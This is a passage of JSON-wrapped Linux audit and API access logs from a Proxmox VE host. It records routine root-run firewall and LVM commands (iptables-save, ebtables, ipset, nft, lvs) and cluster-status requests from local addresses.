ppid=1156 pid=64645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965575457,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.457:66193): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63576 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964970374,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965825370,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.370:67265): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964205633,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.633:60046): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965835539,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.539:67310): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0b1ce0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.447:66192): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63575 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964970374,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:09 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965825364,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.364:67264): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964205632,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.632:60045): argc=1 a0=\"date\""} {"@timestamp":1781965835533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.533:67309): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ffc00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.438:66191): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964968639,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1070"} {"@timestamp":1781965825357,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.357:67263): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964205628,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.628:60043): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965835528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.528:67308): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13bea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575434,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.434:66190): arch=c000003e syscall=59 success=yes exit=0 a0=59dbf5ecf0a0 a1=59dbf5ecbe20 a2=59dbf5ead680 a3=5 items=2 ppid=63567 pid=63573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964967625,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965825352,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.352:67262): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964205621,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.621:60042): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965835521,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.521:67307): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb9892a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64642 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575427,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.427:66189): arch=c000003e syscall=59 success=yes exit=0 a0=59dbbaca1ac8 a1=7ffef3fd4880 a2=59dbf5ead680 a3=59dbbac8524e items=2 ppid=63567 pid=63569 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964967625,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965825344,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.344:67261): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964205614,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.614:60041): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965835515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.515:67306): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64641 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.424:66188): arch=c000003e syscall=59 success=yes exit=0 a0=7ffef3fd4840 a1=59dbf5eb4310 a2=59dbf5ead680 a3=5 items=2 ppid=63567 pid=63568 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964966606,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965825337,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.337:67260): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964205608,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.608:60040): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965835509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.509:67305): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f11a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.421:66186): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964966606,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 847"} {"@timestamp":1781965825332,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.332:67259): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964205600,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.600:60039): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965835503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.503:67304): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.411:66185): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964964711,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965825329,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.329:67258): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964205595,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.595:60037): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965835496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.496:67303): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575404,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.404:66184): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964963684,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781965825328,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.328:67257): argc=1 a0=\"date\""} {"@timestamp":1781964205590,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.590:60036): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965835492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.492:67302): arch=c000003e syscall=59 success=yes exit=0 a0=5e461de9f0a0 a1=5e461de9be20 a2=5e461de7d680 a3=5 items=2 ppid=64631 pid=64637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.397:66183): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2900 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63564 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964963684,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781965825324,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.324:67255): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964205584,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.584:60035): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965835488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.488:67301): arch=c000003e syscall=59 success=yes exit=0 a0=5e4608363ac8 a1=7ffdc6575630 a2=5e461de7d680 a3=5e460834724e items=2 ppid=64631 pid=64633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.385:66182): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1396e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63563 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964963684,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965825317,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.317:67254): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964205579,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.579:60034): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965835487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.487:67300): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdc65755f0 a1=5e461de84310 a2=5e461de7d680 a3=5 items=2 ppid=64631 pid=64632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.374:66181): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e4210 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63562 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964960681,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781965825306,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.306:67253): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964205573,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.573:60033): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965835482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.482:67298): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965574136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965574.136:66180): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0000 a1=64f8d1939900 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964960681,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965825300,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.300:67252): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964205568,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.568:60032): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965835474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.474:67297): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965574112,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965574.112:66179): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1a4c770 a1=64f8d74099f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964960681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965825291,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.291:67251): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964205562,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.562:60031): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965835467,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.467:67296): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965573518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965573.518:66178): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899557b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63557 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964960681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781965825282,"@rawstring":"node=pve type=EXECVE msg=audit(1781965825.282:67250): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964205556,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.556:60030): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965835462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.462:67295): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fb960 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965573512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965573.512:66175): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899556f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63556 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964959661,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965824754,"@rawstring":"node=pve type=EXECVE msg=audit(1781965824.754:67249): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964205552,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.552:60029): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965835453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.453:67294): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149fd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568499,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965568.499:66172): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63555 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964957972,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781965824727,"@rawstring":"node=pve type=EXECVE msg=audit(1781965824.727:67248): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964205548,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.548:60028): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965835444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.444:67293): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d760 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568490,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965568.490:66169): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964957972,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 461"} {"@timestamp":1781965824442,"@rawstring":"node=pve type=EXECVE msg=audit(1781965824.442:67247): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964205548,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.548:60027): argc=1 a0=\"date\""} {"@timestamp":1781965834906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965834.906:67292): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0ac0 a1=64f8d73d1100 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.361:66166): arch=c000003e syscall=59 success=yes exit=0 a0=5fd6abeb2b60 a1=5fd6abebeb00 a2=5fd6abe8c680 a3=5 items=2 ppid=63547 pid=63553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964956739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965824435,"@rawstring":"node=pve type=EXECVE msg=audit(1781965824.435:67244): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964205543,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.543:60025): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965834873,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965834.873:67291): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d19398a0 a1=64f8d73adb90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64624 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.356:66165): arch=c000003e syscall=59 success=yes exit=0 a0=5fd693627ac8 a1=7ffeb4aa1080 a2=5fd6abe8c680 a3=5fd69360b24e items=2 ppid=63547 pid=63549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} 